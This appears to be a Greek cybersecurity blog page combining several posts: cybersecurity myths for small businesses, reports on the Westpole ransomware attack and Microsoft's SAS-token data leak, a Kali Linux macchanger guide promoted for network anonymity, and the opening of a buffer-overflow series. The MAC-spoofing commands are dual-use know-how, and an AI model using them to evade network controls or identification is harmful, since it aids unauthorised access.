Οι μικρομεσαίες επιχειρήσεις θα πρέπει να αναγνωρίσουν ότι δεν έχουν ανοσία στις κυβερνοεπιθέσεις και θα πρέπει να λάβουν μέτρα για την προστασία των συστημάτων και των δεδομένων τους. Αυτόπεριλαμβάνει:
Εκσυγχρονισμό των συστημάτων backup τους ώστε να συμπεριλάβουν και το ρίσκο μιας κυβερνοεπίθεσης
Εφαρμογή καλών πρακτικών ασφάλειας, όπως ισχυροί κωδικοί πρόσβασης και Two-factor authentication (2FA)
Εκπαίδευση του προσωπικού της επιχείρησης για την αναγνώριση και αντιμετώπιση διαδικτυακών απειλών
Έλεγχο και τακτική αναθεώρηση των μέτρων ασφαλείας
Συνεργασία με κάποια εταιρεία παροχής υπηρεσιών κυβερνοασφάλειας για να ελέγξει την ασφάλεια των συστημάτων
Μύθος 2: “Είμαισυνδρομητήςσε ένα πρόγραμμα προστασίας από ιούς και το πληρώνω κάθε χρόνο.
Πραγματικότητα: “Τοκαλύτεροantivirusμπλοκάρει το 99% των κακόβουλων αρχείων, αλλά το 1% των απειλών είναι οι χιλιάδες απειλές την ημέρα που τοantivirusδενμπορείναανιχνεύσει.
Τα antivirusκαιτατείχηπροστασίας είναι μερικά από τα πιο συνηθισμέναεργαλεία προστασίας που χρησιμοποιούνται από χρήστες και επιχειρήσεις για την προστασία των συστημάτων τους από επιθέσειςστονκυβερνοχώρο.Ωστόσο, η αντίληψη ότιαυτά τα λογισμικά απόμόνατουςμπορούν να παρέχουν ολοκληρωμένη προστασία είναι επικίνδυνα λανθασμένη.
Ακόμη και αν το πιο προηγμένολογισμικό που κυκλοφορείσήμερα στην αγορά μπορείνα αντιμετωπίσει το 99% των απειλών, το υπόλοιπο 1% είναι αρκετό για να προκαλέσει τεράστια ζημιά σε μια επιχείρηση. Μεεκατομμύρια επιθέσεις να λαμβάνουν χώρα καθημερινά, αυτό το 1% δεν είναι και τόσο μικρός αριθμός.
Όλα αυτά τα προγράμματα προστασίας εξελίσσονται καθημερινά μέσωεπιδιορθώσεων και ενημερώσεων. Αυτό σημαίνει ότι νέεςαπειλέςπουδημιουργούν“παραβιάσεις”ή “ευπάθειες”δημιουργούνταιπρώτες και ότανεντοπίζονται, αυτά τα προγράμματα προστασίας προσαρμόζονταικαιτιςαντιμετωπίζουν.
Τι σημαίνει αυτό στηνπράξη;Σημαίνειότιχιλιάδεςχρήστεςθαμπορούσαννα“μολυνθούν”άμεσααπό τηστιγμήτηςεπίθεσηςέωςότουαυτήαντιμετωπιστείκεντρικάαπότηνεταιρεία λογισμικού.
Τρόποι αντιμετώπισης
Οικύριοιτρόποι αντιμετώπισης είναι ηανθρώπινηπαρακολούθηση και ταπολλαπλά επίπεδα προστασίας. Αυτόοφείλεται στο γεγονός ότι η ασφάλειαστον κυβερνοχώρο απαιτεί μια ολιστική προσέγγιση που περιλαμβάνει πολλαπλά επίπεδα προστασίας. Μιαμονόπλευρηπροσέγγιση πουχρησιμοποιεί μόνο λογισμικό προστασίαςαπόιούςαφήνει πολλά κενά ασφαλείαςπουμπορούν να εκμεταλλευτούν οι χάκερ.Ηανάπτυξητωνψηφιακώντεχνολογιών είναι συνεχής και συχνά πολύπλοκη.Γιατολόγοαυτό,η ασφάλεια πρέπει να είναι δυναμική και πολυεπίπεδη (όπωςταστρώματακρεμμυδιού).
Μύθος 3: “Ο κωδικός πρόσβασής μου είναι πολύ ισχυρός”.
ΠραγματικότηταΟι “ισχυροί” κωδικοίπρόσβασης είναι το πρώτο βήμα, αλλά όχι το μοναδικό.
Οι πολύ ισχυροίκωδικοίπρόσβασηςαποτελούν την πρώτη γραμμή άμυνας κατάτωνδιαδικτυακώναπειλών.Ωστόσο,γίνεται εύκολα αντιληπτόότιαυτό δεν αρκεί.
Οι χάκερ διαθέτουν εξελιγμένα εργαλεία και διάφορες τεχνικές για να αποκτήσουν κωδικούςπρόσβασης. Για να τοθέσουμε πιο ωμά,οι χάκερ δεν χρειάζεται καν να γνωρίζουν ή να μαντεύουν ποιος είναι ο κωδικόςπρόσβασης.
Για παράδειγμα, αν ένας χρήστης χρησιμοποιεί ένα κοινόχρηστο δίκτυο καφετεριώνκαι έναςχάκερδημιουργήσει έναν “κλώνο” αυτού του δικτύουκαιμας ξεγελάσει ώστε να συνδεθούμε σε αυτότο δίκτυο αντί γιατοκατάστημα, μπορεί να υποκλέψει όλεςτιςανοιχτέςσυνεδρίες και να χρησιμοποιήσειτιςχωρίςναγνωρίζειτουςκωδικούςμας,καιξαφνικάναδιαπιστώσειότιέχειπρόσβασηακόμηκαιστουςτραπεζικούςμας λογαριασμούς.
Μιαάλλη μέθοδος που χρησιμοποιούν συχνά οιχάκερς είναι το phishing,τοοποίοπολλοίαπόεμάςγνωρίζουμε.Βασικά,οι χάκερςχρησιμοποιούναυτή τη μέθοδο για να προσπαθήσουννα“ψαρέψουν” κωδικούς πρόσβασης με ένανπεριστροφικότρόπο,εξαπατώνταςπαράλληλατονχρήστη.Γιαπαράδειγμα,στέλνουν ένα emailπουπαριστάνει μια πλατφόρμα όπως το gov.gr και κατευθύνουντονχρήστησε ένα ακριβές αντίγραφο του αρχικούιστότοπου. Εκεί, οι ανυποψίαστοι χρήστες εισάγουν οιίδιοι το όνομαχρήστη και τονκωδικόπρόσβασήςτους και δίνουν απλόχερα τα στοιχεία τους στους απατεώνες.
Τρόποι αντιμετώπισης
Χρήση VPN υπηρεσιών όταν πραγματοποιούμε σύνδεση σε ξένα Wi-Fi δίκτυα, ώστε να γίνεται κρυπτογράφηση των στοιχείων
Συχνή αλλαγή κωδικών, ώστε σε περίπτωση που έχει διαρρεύσει κάποιος, να μην είναι πλέον ενεργός
Επιλέξτε διαφορετικούς κωδικούς για κάθε ιστοσελίδα, ώστε αν αποκτήσει κάποιος έναν κωδικό να μην μπορέσει να έχει πρόσβαση σε όλους τους λογαριασμούς σας
Two-factor authentication (2FA), ώστε να υπάρχει ένα επιπλέον επίπεδο ασφάλειας που θα προϋποθέτει μια έξτρα έγκριση για την είσοδο από διαφορετική συσκευή
Μύθος 4: “Αντα αρχεία σαςκρυπτογραφηθούν από ransomware, τα χάνετε για πάντα
Πραγματικότητα: “Είναιδυνατόν να ανακτήσετε τα αρχεία σας και σεορισμένεςπεριπτώσεις είναι δυνατόνναταεπαναφέρετε χωρίς να χρειαστεί να πληρώσετε γι’ αυτά.
Οι επιθέσεις Ransomware είναιμία από τις πιο διαδεδομένες και καταστροφικές μορφές κυβερνοεπιθέσεων που αντιμετωπίζουμε σήμερα. Όταν ένας χρήστης “μολύνεται”απόαυτόν τον ιό, τουπαρουσιάζεταιμια οθόνη που τον ενημερώνει ότι όλα τα αρχεία στονσκληρόδίσκο ή τησυσκευή του έχουν κλειδωθεί και ότι πρέπει να πληρώσειλύτραγια να τα πάρει πίσω.
Η ανάκτηση δεδομένων σε τέτοιες περιπτώσεις απαιτεί πολύ λεπτούς χειρισμούς, ώστε να διασφαλιστείότι τα αρχεία στοδίσκο δεν έχουναλλοιωθεί από την κρυπτογραφημένη κατάστασή τους και ότιτααρχείαπουπραγματικάυπάρχουνμπορούννα ανακτηθούν πλήρωςμετά την καταβολή του ποσού.
Στοσημείο αυτό θα πρέπει να αναφερθεί ότι η καταβολήλύτρων αποτελείέσχατηλύσηκαιθαπρέπεινα χρησιμοποιείται μόνο αφού έχουν αποτύχει όλαταεναλλακτικάμέσαανάκτησηςτων αρχείων του πελάτη. Ανάλογαμετοντύποτηςκρυπτογράφησηςπουπραγματοποιείται,στο10%τωνπεριπτώσεωνείναι δυνατή η πλήρηςανάκτησηδεδομένων σεσκληρούςδίσκους και διακομιστέςχωρίς τηνκαταβολή λύτρων.
Τέλος, όταναντιμετωπίζονταιτέτοιεςαπειλές,η όλη διαδικασία θα πρέπει να διεξάγεται από εξειδικευμένους τεχνικούς ασφάλειαςστονκυβερνοχώρο και ανάκτησηςδεδομένων με στόχο να ανακαλύψουν ποια είναι η ομάδα που βρίσκεται πίσω από την κυβερνοεπίθεση, ποιο είναι το προφίλ της και αν είναι συνεργάσιμη, προκειμένου να αναπτυχθείηκατάλληληστρατηγικήαντιμέτρωνΕίναι ζωτικής σημασίας να γίνει αυτό. Δεν είναι ασυνήθιστογιαοργανισμούςκαιεταιρείες που έχουνκαταβάλει λύτρα σε χάκερςναμηνκαταφέρνουν να πάρουν πίσω τα αρχεία τους ή ναχάσουντηνεπαφήμετουςχάκερςλόγωτηςπίεσηςτηςδιαπραγμάτευσης μαζί τους.
Τρόποι αντιμετώπισης
Όπως συμβαίνειμετις περισσότερες ψηφιακέςαπειλές,η καλύτερη στρατηγική για την αντιμετώπιση τουransomware είναι η προληπτική προσέγγιση. Ως εκ τούτου, όλεςοιεπιχειρήσειςθαπρέπεινα προστατεύουν τα δεδομένα τους με ισχυρές διαδικασίες προστασίας και ανάκτησης αρχείων, ειδικό λογισμικό και εκπαίδευση,όπως
Υβριδικό Cloud Backup & Disaster Recovery
Διαδικασίες ανάκτησης αρχείων σε περίπτωση καταστροφής
Πραγματικότητα: “Οιπροσωπικοίυπολογιστέςαποτελούνένα μεγάλο κενό ασφαλείας στο γραφείο”.
Καθώςη τεχνολογία διαπερνάόλεςτιςπτυχέςτης ζωής μας, συμπεριλαμβανομένης της τηλεργασίας, πολλοί εργαζόμενοι τείνουννα φέρνουν τις προσωπικές τους συσκευές στο γραφείο.
Στηνπραγματικότητα,στηνπερίπτωση αυτή ισχύει το ακριβώςαντίθετο: η πρακτική αυτήκαθιστά τις επιχειρήσεις πιο ευάλωτες. Συγκεκριμένα,στους προσωπικούς υπολογιστές, οι άνθρωποιείναιλιγότερο προσεκτικοί ότανπεριηγούνταιστο διαδίκτυο. Ωςαποτέλεσμα,κατεβάζουμεχαλασμέναπρογράμματαή επισκεπτόμαστεκακόβουλουςιστότοπους.
Ως αποτέλεσμα, μπορεί να εγκατασταθεί στη συσκευή ένα “RAT“ που παρακολουθεί ό,τικάνουμε.Επομένως, όταν αυτή η προσωπική συσκευή συνδεθεί στο δίκτυο της εταιρείας, μπορείνα αποκτήσει πρόσβαση στα συστήματα και τα δεδομένα της επιχείρησης.
Τρόποι αντιμετώπισης
Ωςεκ τούτου, είναι σημαντικό όχι μόνο να κρατάτετουςπροσωπικούςκαιτουςεταιρικούςυπολογιστέςχωριστάανάπάσαστιγμή,αλλάκαι να χρησιμοποιείτεμόνοεξουσιοδοτημέναπρογράμματαελέγχουταυτότηταςστουςεταιρικούςυπολογιστέςγιανααποφύγετετηλήψηκακόβουλουλογισμικού.
Μύθος 6: “Ταπληροφοριακά μας συστήματα είναι τέλειακαι δεν μπορούν να παραβιαστούν”.
Πραγματικότητα: “Δεν υπάρχει σύστημα που ναμηνέχειπαραβιαστεί.Είναιαπλώςθέμαχρόνουπουχρειάζονταιοιχάκερς για να εισβάλουν.
Τατέλειασυστήματαανήκουν στη σφαίρα της φαντασίας και τουκινηματογράφου.Δενυπάρχει τέλειο σύστημα,σύμφωναμεταδιάσημαλόγιατου DmitryAlperovich, αντιπροέδρου της McAffee:εταιρείεςπου έχουν υποστείhacking και το γνωρίζουν, και εταιρείες που δεν το γνωρίζουν ακόμη.
Οιεπιθέσειςστονκυβερνοχώροείναι συχνές και εξελίσσονταισυνεχώς,καιαν δεν αναγνωρίσετε και δεν αντιμετωπίσετε τις αδυναμίες σας, θα μείνετε ευάλωτοι.
Για να είστε προετοιμασμένοι για κυβερνοεπιθέσεις, πρέπει να παραμείνετεπροετοιμασμένοι,επανεξετάζονταςκαιβελτιώνονταςσυνεχώςτασυστήματάσας.Οστόχος είναι να θέσετεσε εφαρμογή πολλαπλά επίπεδαασφάλειας,έτσι ώστε κάθεπροσπάθειαενόςχάκερναεισέλθειστασυστήματαμιαςεταιρείαςναείναιασύμφορηαπόάποψηχρόνουκαικόστους.
Σε αυτό το σημείο, πρέπει να σημειωθείότιδεν υπάρχει τέλειο σύστημα, οπότεανοιχάκερςβάλουνστοστόχαστρομιαεταιρεία,είναι πιθανόνα βρουν κάποια στιγμή ένακενό ασφαλείας. Επομένως,είναισημαντικόναυπάρχειένασχέδιοετοιμότητας για την αντιμετώπιση τέτοιων ζητημάτων.
Τρόποι αντιμετώπισης
Εάν εσείς ή τοτμήμαπληροφορικής σας πιστεύετε ότι τασυστήματά σας είναι τέλεια, μπορείτε να προσλάβετε μια εταιρεία δοκιμώνδιείσδυσηςγιανα ελέγξει πόσο ασφαλήείναιστηνπραγματικότητα.Οέλεγχοςδιείσδυσηςείναι,στηνπραγματικότητα,μιαυπηρεσία όπου προσλαμβάνετε χάκερςγιανα προσπαθήσουν να εισέλθουνστοσύστημά σας και να σας δείξουνπώςεισέβαλαν.
Έναςάλλος τρόπος αντιμετώπισης αυτούτουπροβλήματοςείναιναεισαγάγετεέναν εφεδρικό κανόνα 3-2-1.Σύμφωνα με αυτόν τον κανόνα, θα πρέπει να έχουμε συνολικά τρία αντίγραφα (κατά προτίμηση διαφορετικές εκδόσεις)των αρχείων μας σε δύο διαφορετικά μέσα (π.χ. εφεδρικόαντίγραφοστο cloud και τοπικόσκληρόδίσκο),με το ένα αντίγραφο σε διαφορετικήτοποθεσία από τοάλλοεφεδρικόαντίγραφο (κατά προτίμηση σε USB flash drive ή εξωτερικό offline),όπως σε μονάδαflash USB ήεξωτερικόσκληρόδίσκο).
Είναι επίσης σημαντικόνααναπτύξετεκαι ναεφαρμόσετεένααποτελεσματικόσχέδιοαποκατάστασηςμετάαπόκαταστροφή,ώστεοιλειτουργίεςναμπορούννα αποκατασταθούνμε όσο το δυνατόν λιγότερεςδυσκολίες και χρόνο.
Μύθος 7: “Οι επιθέσεις γίνονται μόνο στο διαδίκτυο”.
Πραγματικότητα: “Οιδιαρροέςπληροφοριώνστις μέρες μας μπορούν να προέλθουν από οποιοδήποτεκανάλιεπικοινωνίας.
Η λογική ότι“οι επιθέσεις είναι μόνο κυβερνοεπιθέσεις” υποτιμά τη σοβαρότητα και τοεύρος των επιθέσεωνστονκυβερνοχώρο. Αυτό οφείλεται στο γεγονός ότι οι περισσότερες επιθέσεις δεν είναι μεμονωμένες, αλλά πολύπλοκες,πολυάριθμεςκαι συνεχώςδιαφοροποιούμενες.
Όσοπαράξενοκαιανφαίνεταισεπολλούς,πολλές διαδικτυακές απάτες δεν αφορούντοδιαδίκτυο.
Φανταστείτε ένα σενάριο όπου λαμβάνετεένατηλεφώνημααπόκάποιονπουεμφανίζεταιναεκπροσωπείμιαγνωστήεταιρεία κινητής τηλεφωνίας,σας ζητάεινασυνάψετενέο συμβόλαιοκαι σας ζητάει μερικά στοιχεία, όπως τον αριθμό ταυτότητας, τοναριθμό τηλεφώνου και τη διεύθυνση κατοικίας σας.
Λίγοαργότερα,λαμβάνετεέναάλλοτηλεφώνημα,αυτή τη φορά απόκάποιονάλλον,υποτίθεται από δημόσιοοργανισμό,πουσας ζητάκάποια στοιχεία για να συμπληρώσετεμιαέρευνα που διενεργούν, όπως το ΑΦΜ, τοναριθμόκοινωνικής ασφάλισης, το email σας κ.λπ.
Συνδυάζονταςαυτά τα στοιχεία που τους έχετεδώσει,ταπροαναφερθένταάτομαμπορούν,εναγνοίασας, ναδιαπράξουναμέτρητεςαπάτεςστοόνομά σας.
Τρόποι αντιμετώπισης
Επομένως,τοσυμπέρασμαείναιότιανδενγνωρίζετεποιοςείναιτοάτομο,μηνδίνετεποτέπροσωπικάστοιχείακαιναεπαληθεύετεπάντα την ταυτότητά του.
Επιπλέον, κλείστε το τηλέφωνο και καλέστεξανά στα κεντρικά γραφεία της εταιρείαςγια να επιβεβαιώσετε ότι τοάτομο με το όνομα και τα στοιχεία τουκαλούντοςεργάζεται γιατην εν λόγω εταιρεία και ζητήστε να σας συνδέσουν μεαυτό το άτομο.
Μύθος 8: “Οιμηχανικοί είναι υπεύθυνοι για την ασφάλεια“.
Πραγματικότητα: “Τις περισσότερες φορές, οι τεχνικοί και οι μηχανικοί δεν γνωρίζουν από τι πρέπει να προστατευτούν”.
Μπορείναυπάρχεικάποιααλήθειασεαυτόντονμύθο,αλλάεξαρτάται από το πώς αντιλαμβάνεται κανείς τον ρόλο τουκαι την ποιότητα της εργασίας του. Σίγουρα,επιφανειακά,έναςεκπαιδευμένοςτεχνικόςσεμιαεταιρείαμπορείνα είναι υπεύθυνος για την ασφάλεια στον κυβερνοχώρο.
Ωστόσο,η εμπειρία μας έχει αποδείξει ότιοιτεχνικοί που νομίζουν ότι γνωρίζουν τα πάνταδεν είναι καλοίτεχνικοί.Οι ψηφιακές απειλές εξελίσσονται τόσο γρήγορα που είναι σχεδόν αδύνατογιαέναάτομονααποτρέψειόλεςτιςεπιθέσεις,όσοκαλόςτεχνικόςκιανείναι.
Στόχος όλωντωντεχνικών θα πρέπει να είναι οσυνεχήςέλεγχοςτωνσυστημάτωνκαι τωνδιαδικασιώντους,ώστεναδιασφαλίζεταιηαποτελεσματικήλειτουργίατους.Όσοινομίζουν ότι είναι τέλειοι συνήθως δεν βελτιώνονταικαι αγνοούντουςκινδύνους.
Οιεταιρείεςασφάλειαςστονκυβερνοχώρο ξεκινούν με δοκιμέςδιείσδυσης(δοκιμέςευπάθειας),οιοποίεςσυχνάαποκαλύπτουνευπάθειεςπουθαμπορούσαννααποβούνμοιραίεςαντιςεκμεταλλευτούνοιχάκερ.
Τρόποι αντιμετώπισης
Οιεπιχειρήσεις και οι τεχνικοί τους δεν θα πρέπει να αισθάνονταιότιαπειλούνται από εξωτερικούς συμβούλουςασφάλειαςστονκυβερνοχώρο.Αντίθετα, θα πρέπει να το βλέπουν ως μια ευκαιρία να βελτιώσουν τα συστήματά τουςμέσωσυνεχώνδοκιμώνκαι αναφοράςτυχόνευπαθειών ασφαλείας που μπορεί να υπάρχουν.
Μύθος 9: “Δενχρειάζομαιέλεγχοτουσυστήματος ή εκπαίδευση”.
Πραγματικότητα: “Πάρα πολλές επιθέσειςστον κυβερνοχώρο θα μπορούσαν να είχαναποτραπείεάντο προσωπικό είχε εκπαιδευτεί και είχε υποβληθείσεέλεγχοδιείσδυσης”.
Το Διαδίκτυοαλλάζεισυνεχώς καινέες απειλές και κίνδυνοιαναδύονταισυνεχώς. Χωρίς τον ανθρώπινο έλεγχο των συστημάτων και την ανάγκηαναγνώρισηςτωννέωναπειλών, οι εταιρείεςθαείναι ευάλωτες σε επιθέσεις μεκαταστροφικές συνέπειες.
Ηολοκληρωμένηκατάρτισητωνεργαζομένωνόλων των εταιρειώνθα πρέπει να αποτελεί κορυφαίαπροτεραιότητατο2023.Καιαυτόγιατί έρευνες έχουνδείξειότισχεδόνπάντα ο απλός υπάλληλος είναι αυτός που κάνει το λάθος ναεπιτρέψει σε ένα κακόβουλο πρόγραμμα να εισέλθει στα συστήματα μιας εταιρείας, που πατάειτολάθος κουμπί και κατεβάζειτοαρχείο στο ηλεκτρονικότου ταχυδρομείο.
Ακόμακαιμετακαλύτεραεργαλεία και διαδικασίες,αυτήημικρήανθρώπινηαπροσεξίαμπορείνα ανοίξειτηνπόρτασε μια εισβολήστοσύστημα.Συγκεκριμένα, ο MichaelMigosδηλώνει:“Ότανσυμβαίνει παραβίαση πληροφοριών σε μια εταιρεία ή έναν οργανισμό, συχνάακούτε τον υπεύθυνο να κατηγορεί τον υπάλληλο που έκανεκλικσε έναν κακόβουλο σύνδεσμο ή άνοιξε ένα κακόβουλο αρχείο. Εκεί ηευθύνηδενβαραίνειτονεργαζόμενο,αλλάτουςυπεύθυνουςγιατηναποτυχίαεκπαίδευσηςκαιελέγχουτωνχρηστών”.
Τρόποι αντιμετώπισης
Η εκπαίδευση του προσωπικού για την αναγνώριση και τηνπρόληψητωναπειλών και τηνορθήαντίδρασησε περίπτωση παραβίασης της ασφάλειας είναι ζωτικήςσημασίας για την αποφυγή τέτοιων λαθών.Πράγματι,είναι εξίσου σημαντικό ναδοκιμάζονταιτακτικάοιδιαδικασίες(π.χ. με τηχρήσηψεύτικων συνδέσμων ψαρέματος)προκειμένου να ελέγχεται το επίπεδο και οβαθμός ετοιμότητας κάθε εταιρείας.
Πόσο μεγάλο ρίσκοαναλαμβάνουμε ως χρήστες ή ως εταιρεία;
Η ασφάλειαστον κυβερνοχώρο πρέπει να αποτελεί προτεραιότητα για κάθε εταιρεία,ανεξαρτήτως μεγέθους ή κλάδου, που θέλει να προστατεύσει τα δεδομένα,τη φήμη και την εμπιστοσύνη της στον ψηφιακό κόσμο.Η Ευρωπαϊκή Ένωση (ΕΕ) ασχολείται ενεργά με το θέμααυτόκαι έχει δημοσιεύσει νέους κανόνες για την ενίσχυσή του.
Ευτυχώς ή δυστυχώς, το διαδίκτυο έχει διεισδύσει σε κάθε πτυχή της ζωής μαςκαι η εκθετική ανάπτυξη τηςτεχνολογίαςενισχύεταιμε ευκαιρίες και κινδύνους για την ασφάλεια των δεδομένων και την προστασίατηςιδιωτικήςζωής.
Η αδιαμφισβήτητη αλήθεια είναι ότι καμία εταιρεία ή χρήστης δεν μπορεί να είναι σίγουρος ότι δεν θα αντιμετωπίσειτέτοιες πιθανές απειλές κάποια στιγμή στη ζωή του,γι’αυτόκαιη σωστή ευαισθητοποίηση και εκπαίδευση είναι πιο αναγκαία από ποτέ.
Στις 8 Δεκεμβρίου 2023, η ιταλική εταιρεία παροχής υπηρεσιών cloud, Westpole, έπεσε θύμα κυβερνοεπίθεσης ransomware, με επιπτώσεις στην πελάτισσά της, την PA Digitale, που παρέχει ψηφιακές υπηρεσίες σε δημόσιους φορείς. Η επίθεση, με την παραλλαγή Lockbit 3.0, παρέλυσε υπηρεσίες πολλών δήμων και άλλων οντοτήτων. Η Westpole ενημέρωσε τις αρχές και έναν επόπτη προστασίας δεδομένων.
Η εταιρεία προσπαθεί να ανακτήσει τα δεδομένα μετά την επίθεση, αλλά η έκταση των ζημιών παραμένει αβέβαιη. Πολλοί δήμοι επηρεάστηκαν, αναγκάζοντας τους να επιστρέψουν σε χειροκίνητες λειτουργίες. Η ιταλική κυβερνοασφάλεια προσπαθεί να ανακτήσει τα δεδομένα.
Ο πάροχος υπηρεσιών cloud διαβεβαίωσε ότι δεν υπήρξε διαρροή δεδομένων, αλλά οι επιπτώσεις είναι ανησυχητικές. Η επίθεση χαρακτηρίζεται ως η πιο σοβαρή που έχει πλήξει την ιταλική δημόσια διοίκηση.
Για την αντιμετώπιση τέτοιων επιθέσεων, συνιστάται εκπαίδευση των χρηστών, εγκατάσταση ενημερωμένου λογισμικού antivirus, διατήρηση ενημερωμένου λειτουργικού συστήματος, τακτικά αντίγραφα ασφαλείας και προσοχή στις λήψεις και τη χρήση αναθέσεων.
Αλλαγή Διεύθυνσης MAC με το Macchanger στο Kali Linux
Το Macchanger στο Kali Linux αποτελεί ένα ισχυρό εργαλείο που επιτρέπει στους χρήστες να αλλάξουν τη διεύθυνση MAC της δικτυακής τους κάρτας, προσθέτοντας ένα επιπλέον επίπεδο ανωνυμίας στις διαδικασίες τους.
Σε αυτό το άρθρο, θα εξετάσουμε πώς να χρησιμοποιήσετε αποτελεσματικά το Macchanger στο Kali Linux, ενισχύοντας την ανωνυμία σας στο δίκτυο.
Η διεύθυνση MAC (Media Access Control) είναι ένα μοναδικό αναγνωριστικό που ανατίθεται σε κάθε δικτυακή συσκευή. Χρησιμοποιείται για τον αναγνωρισμό και την επικοινωνία στο δίκτυο.
Η αλλαγή της διεύθυνσης MAC με το Macchanger επιτρέπει στους χρήστες να τροποποιήσουν αυτό το αναγνωριστικό, έχοντας παραπάνω ανωμία.
Οδηγίες Χρήσης του Macchanger στο Kali Linux
Άνοιγμα Τερματικού:
Εκτέλεση του Macchanger:
sudo macchanger -r [Όνομα Δικτυακής Κάρτας]
Για παράδειγμα:
sudo macchanger -r eth0
Το [Όνομα δικτυακής κάρτας] αναφέρεται στο όνομα της δικτυακής σας κάρτας, π.χ., eth0 ή wlan0.
Για επαναφορά της πραγματικής διεύθυνσης MAC
sudo macchanger -p [Όνομα Δικτυακής Κάρτας]
Για να βρείτε το όνομα της κάρτας Wi-Fi στο Kali Linux, μπορείτε να χρησιμοποιήσετε την εντολή iwconfig ή την εντολή ifconfig. Αυτές οι εντολές εμφανίζουν πληροφορίες σχετικά με τις διαθέσιμες δικτυακές συσκευές, συμπεριλαμβανομένων των ασύρματων.
Εκτελέστε τις παρακάτω εντολές στο τερματικό:
iwconfig
Θα δείτε μια λίστα με τις ασύρματες δικτυακές συσκευές, και το όνομα της κάρτας Wi-Fi θα εμφανίζεται στην αρχή της κάθε εγγραφής.
Χρησιμοποιώντας το
ifconfig
Θα δείτε μια λίστα με όλες τις δικτυακές συσκευές. Η κάρτα Wi-Fi θα είναι συνήθως με τη μορφή wlanX, όπου X είναι ένας αριθμός.
38TB δεδομένων εκτέθηκαν κατά λάθος από τους ερευνητές AI της Microsoft
Έναςερευνητής τεχνητής νοημοσύνης της Microsoft διέρρευσε κατά λάθος δεκάδες terabytes ευαίσθητων δεδομένων, συμπεριλαμβανομένων μυστικών κλειδιών και κωδικών πρόσβασης, ενώ δημοσίευσε έναν κάδο αποθήκευσης δεδομένων εκπαίδευσης ανοικτού κώδικα στο GitHub. Σε μια έρευνα που μοιράστηκε με το TechCrunch, η νεοσύστατη εταιρεία ασφάλειας cloud Wiz δήλωσε ότι ανακάλυψε το αποθετήριο GitHub που ανήκε στο τμήμα έρευνας AI της Microsoft στο πλαίσιο των συνεχιζόμενων εργασιών της σχετικά με την τυχαία έκθεση δεδομένων που φιλοξενούνται στο cloud.
Οι αναγνώστες του αποθετηρίου GitHub, το οποίο παρέχει κώδικα ανοικτού κώδικα και μοντέλα AI για την αναγνώριση εικόνων, έλαβαν οδηγίες να κατεβάσουν τα μοντέλα από μια διεύθυνση URL Azure Storage. Ωστόσο, η Wiz ανακάλυψε ότι αυτή η διεύθυνση URL είχε ρυθμιστεί ώστε να δίνειάδειαπρόσβασης σε ολόκληρο το λογαριασμό αποθήκευσης, εκθέτοντας κατά λάθος περαιτέρωπροσωπικά δεδομένα.
Τα δεδομένα περιλάμβανανκωδικούςπρόσβασης για υπηρεσίες της Microsoft, μυστικάκλειδιά και άλλα ευαίσθητα προσωπικά δεδομένα, συμπεριλαμβανομένων περισσότερων από 30.000 εσωτερικών μηνυμάτων του Microsoft Teams από εκατοντάδες υπαλλήλους της Microsoft.
Σύμφωναμετην Wiz, οιδιευθύνσειςURLστιςοποίες δημοσιεύθηκαν αυτά τα δεδομένα μετά το 2020είχανρυθμιστεί λανθασμένα ώστε να επιτρέπουν δικαιώματα “Πλήρους ελέγχου” αντί για “Μόνο για ανάγνωση”, γεγονόςπουθαμπορούσεναεπιτρέψεισεοποιονδήποτεήξερε πού να κοιτάξει να διαγράψει, να αντικαταστήσει ή να εισάγει κακόβουλο περιεχόμενο Ηεταιρεία δήλωσε ότι αυτό συνέβη.
Η Wiz επισημαίνει ότι ο λογαριασμός αποθήκευσης δεν ήταν άμεσα εκτεθειμένος-ταSAStokensείναι ένας μηχανισμός τηςAzure που επιτρέπει στους χρήστες να δημιουργούν κοινόχρηστους συνδέσμους γιαπρόσβαση σε δεδομένα στολογαριασμότους Azure Storage.
Η Wiz κοινοποίησετα ευρήματά της στηMicrosoft στις 22 Ιουνίου και η Microsoft δήλωσεότισυνέλεξετα κουπόνια SAS δύο ημέρες αργότερα, στις 24 Ιουνίου. Η Microsoft δήλωσε ότι ολοκλήρωσε την έρευνά της σχετικά με τις πιθανές οργανωτικές επιπτώσεις στις 16 Αυγούστου. Σε μια ανάρτηση στο blog που μοιράστηκε με το TechCrunch πριν από τη δημοσίευση, το Κέντρο Απόκρισης Ασφάλειας της Microsoft δήλωσε ότι “δεν εκτέθηκαν δεδομένα πελατών ωςαποτέλεσμααυτούτουπροβλήματοςκαιδενπαραβιάστηκανάλλεςεσωτερικέςυπηρεσίες.“Ωςαποτέλεσμα της έρευνας της Wiz, ηMicrosoftεπιβεβαίωσεότιτοGitHub‘sSecret Spanning Service, η οποία,όπως είπε, είχε επεκταθεί. Η υπηρεσία παρακολουθεί τις αλλαγές σεόλους τους δημόσιους κώδικες ανοικτού κώδικα καιδημοσιεύειδιαπιστευτήριακαι άλλαμυστικά σε απλό κείμενο, συμπεριλαμβανομένωντωνμαρκώνSAS που ενδέχεται να έχουν υπερβολικά επιτρεπτικέςημερομηνίεςλήξηςκαι δικαιώματα.
A buffer overflow (bof), or buffer overrun, is an anomaly whereby a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations (Wikipedia).
Θα αναλύσουμε σε αυτό το άρθρο αυτή την πολύ παλιά ευπάθεια λογισμικού και θα δούμε αν αυτή εξακολουθεί να μετράει…
Από το πρώτο άρθρο του Aleph One (Elias Levy) το 1996, “Smashing The Stack For Fun And Profit“, έχουν περάσει πάνω από 25 χρόνια. Η απάντηση στην ερώτηση “Είναι αυτή η ευπάθεια ακόμα ενεργή;” είναι ένα μεγάλο: ΝΑΙ!
Αλλά πράγματι, σήμερα, με τα σύγχρονα περιβάλλοντα & γλώσσες ανάπτυξης λογισμικού (.Net, J2EE, RoR, κλπ) δεν είναι τόσο εύκολο να πραγματοποιηθεί μια τέτοια επίθεση, αλλά… οι εφαρμογές που δημιουργήθηκαν σε περισσότερο low level γλώσσες προγραμματισμού που είναι ευάλωτες στην buffer overflow (όπως η C ή η C++) εξακολουθούν να υπάρχουν, και είναι πολλές: Web servers, Λειτουργικά Συστήματα, DBMSs και γενικά, σχεδόν σε όλα όσα βάζουμε να “τρέχουν” οι “ασφαλείς” εφαρμογές μας…
Σε αυτή τη σειρά άρθρων θα προσπαθήσω να εξηγήσω στους νεοεισερχόμενους πώς μπορεί να γίνει μια τέτοια επίθεση σε σύγχρονα περιβάλλοντα και Λειτουργικά Συστήματα.
